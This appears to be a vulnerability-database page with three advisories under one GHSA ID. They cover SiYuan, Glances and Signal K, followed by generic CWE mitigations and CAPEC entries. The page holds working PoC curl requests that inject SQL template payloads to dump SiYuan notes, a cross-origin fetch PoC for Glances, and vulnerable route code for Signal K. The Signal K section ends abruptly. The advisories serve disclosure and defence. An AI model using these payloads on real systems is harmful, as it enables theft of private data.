GHSA-GCM7-57GF-953C

Vulnerability from github – Published: 2026-07-10 19:26 – Updated: 2026-07-10 19:26
VLAI
Summary
SiYuan: Unauthenticated SQLite Data Exfiltration via Template Injection in /api/icon/getDynamicIcon
Details

Summary

The /api/icon/getDynamicIcon endpoint is explicitly excluded from authentication in SiYuan's kernel router (router.go, "不需要鉴权" -- no auth needed). When called with type=8 and a valid block id parameter, this endpoint invokes RenderDynamicIconContentTemplate, which executes a Go template that includes the querySQL and queryBlocks functions. These functions run arbitrary SELECT statements against the SiYuan SQLite database. An unauthenticated network-adjacent attacker who knows a valid block ID can exfiltrate all user note content, tags, asset references, and block attributes from the database.

Details

Root cause -- kernel/api/router.go, line 37:

// 不需要鉴权
ginServer.Handle("GET", "/api/icon/getDynamicIcon", getDynamicIcon)

Attack chain:

  1. getDynamicIcon (kernel/api/icon.go) checks type=8 and calls model.RenderDynamicIconContentTemplate(content, id) when content contains .action{.

  2. RenderDynamicIconContentTemplate (kernel/model/template.go:264) parses content as a Go template. The template function map includes querySQL and queryBlocks registered via sql.SQLTemplateFuncs.

  3. querySQL calls Query(stmt, 1024) (kernel/sql/block_query.go) which executes the SQL statement against the SQLite database containing all user notes.

  4. The SQL result is rendered into the SVG response body and returned to the unauthenticated caller.

Constraint: The block id parameter must be a valid block ID that exists in the database. Block IDs are 22-character strings in the format YYYYMMDDHHMMSS-XXXXXXX (timestamp + 7 alphanumeric chars). Valid IDs are embedded in shared document URLs and can be leaked through any other authenticated endpoint, referrer headers, or browser history.

Tested on SiYuan v3.6.5 (Docker, network-serving mode, access auth code enabled):

GET /api/icon/getDynamicIcon?type=8&content=.action{querySQL+"SELECT+id,content+FROM+blocks+LIMIT+5"}&id=<KNOWN_BLOCK_ID>
Host: siyuan.example.com
(No Authorization header)

Response (SVG with exfiltrated data embedded):

<text ...>[map[id:20260524010447-jc9ypd4 content:test]
           map[id:20260524011002-ttaa7lu content:My password is SuperSecret123!]]</text>

The querySQL template function can query any table: blocks (all note content and metadata), spans (tags), assets (asset references), attributes (block attributes), and refs (backlinks).

PoC

TARGET="http://siyuan.example.com:6806"
BLOCK_ID="KNOWN_BLOCK_ID_HERE"  # From a shared link or other source

# List all database tables
curl -s "${TARGET}/api/icon/getDynamicIcon?type=8&content=.action%7BquerySQL+%22SELECT+name+FROM+sqlite_master+WHERE+type%3D%27table%27%22%7D&id=${BLOCK_ID}"

# Dump all note content
curl -s "${TARGET}/api/icon/getDynamicIcon?type=8&content=.action%7BquerySQL+%22SELECT+id%2Ctype%2Ccontent+FROM+blocks+LIMIT+100%22%7D&id=${BLOCK_ID}"

PoC script: /home/mrrobot/GoogleDrive/vuln-research/siyuan/scripts/poc_getDynamicIcon_sqli.sh

Impact

Any network-reachable SiYuan instance (Docker deployments default to 0.0.0.0:6806) is vulnerable to complete note content exfiltration without authentication, provided the attacker can obtain one valid block ID. Block IDs are leaked in shared document URLs, embedded images referencing block IDs, and browser history. In a networked deployment scenario (e.g., a self-hosted SiYuan accessible from the internet), all personal notes, tags, and metadata are exposed to unauthenticated attackers.

This vulnerability is distinct from previously reported SQL injection issues (GHSA-j7wh-x834-p3r7) which targeted the search API. The getDynamicIcon endpoint was never intended to execute SQL queries but gained this capability through the querySQL template function registered for the icon content template renderer.

Summary
Glances: Cross-Origin Information Disclosure via Unauthenticated REST API (/api/4) due to Permissive CORS
Details

Summary

The Glances web server exposes a REST API (/api/4/*) that is accessible without authentication and allows cross-origin requests from any origin due to a permissive CORS policy (Access-Control-Allow-Origin: *).

This allows a malicious website to read sensitive system information from a running Glances instance in the victim’s browser, leading to cross-origin data exfiltration.

While a previous advisory exists for XML-RPC CORS issues, this report demonstrates that the REST API (/api/4/*) is also affected and exposes significantly more sensitive data.

Details

When Glances is started in web mode (e.g., glances -w -B 0.0.0.0), it exposes a REST API endpoint at: http://:61208/api/4/all The server responds with: Access-Control-Allow-Origin: *

This allows any origin to perform cross-origin requests and read responses.

The /api/4/all endpoint returns extensive system information, including: - Process list (processlist) - System details (hostname, OS, CPU info) - Memory and disk usage - Network interfaces and IP address - Running services and metrics Because no authentication is required by default, this data is accessible to any web page.

PoC

  1. Start Glances: glances -w -B 0.0.0.0

  2. Create a malicious HTML file:

<!DOCTYPE html>
<html>
<body>
<script>
fetch("http://<victim-ip>:61208/api/4/all")
  .then(r => r.json())
  .then(data => {
    console.log("DATA:", data);
  });
</script>
</body>
</html>
  1. Open the file in a browser while Glances is running.
  2. Observe that the browser successfully retrieves sensitive system information from the API. This works cross-origin (e.g., from file:// or attacker-controlled domains).

Impact

A remote attacker can host a malicious website that, when visited by a victim running Glances, can:

  • Read sensitive system information
  • Enumerate running processes
  • Identify network configuration and IP addresses
  • Fingerprint the host system

This requires no authentication and no user interaction beyond visiting a web page. This represents a cross-origin information disclosure vulnerability and can aid further attacks such as reconnaissance or targeted exploitation.

Summary
Signal K Server: Unauthenticated Source Priorities Manipulation
Details

Summary

The SignalK Server exposes an unauthenticated HTTP endpoint that allows remote attackers to modify navigation data source priorities. This endpoint, accessible via PUT /signalk/v1/api/sourcePriorities, does not enforce authentication or authorization checks and directly assigns user-controlled input to the server configuration.

As a result, attackers can influence which GPS, AIS, or other sensor data sources are trusted by the system. The changes are immediately applied and persisted to disk, allowing the manipulation to survive server restarts.

Affected Component

  • File: src/serverroutes.ts
  • Endpoint: PUT /signalk/v1/api/sourcePriorities (also accessible at /skServer/sourcePriorities)
  • Lines: 1064-1076
  • Function: Source priorities configuration handler

Vulnerable Code

// src/serverroutes.ts - Lines 1064-1076
app.put(
  `${SERVERROUTESPREFIX}/sourcePriorities`,
  (req: Request, res: Response) => {
    app.config.settings.sourcePriorities = req.body
    app.activateSourcePriorities()
    writeSettingsFile(app, app.config.settings, (err: any) => {
      if (err) {
        res
          .status(500)
          .send('Unable to save to sourcePrefences in settings file')
      } else {
        res.json({ result: 'ok' })
      }
    })
  }
)

Vulnerability Characteristics

Missing Authentication: The endpoint has zero authentication middleware, allowing unauthenticated access from any network-adjacent attacker.

Direct Configuration Assignment: User-supplied request body is directly assigned to app.config.settings.sourcePriorities without validation or sanitization.

Persistent Storage: Malicious configuration is written to disk via writeSettingsFile(), ensuring changes survive server restarts. Live Configuration Update: Changes take effect immediately via activateSourcePriorities(), affecting live navigation data processing.

No Input Validation: No JSON schema validation, type checking, or field allowlisting is performed on the request body.

Impact

  • Navigation Data Manipulation: Attackers can modify source priorities to change which existing, active source's data is being used

Mitigation
Architecture and Design
  • Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
  • Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
  • In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
  • In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

CAPEC-12: Choosing Message Identifier

This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.

CAPEC-166: Force the System to Reset Values

An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.

CAPEC-216: Communication Channel Manipulation

An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.
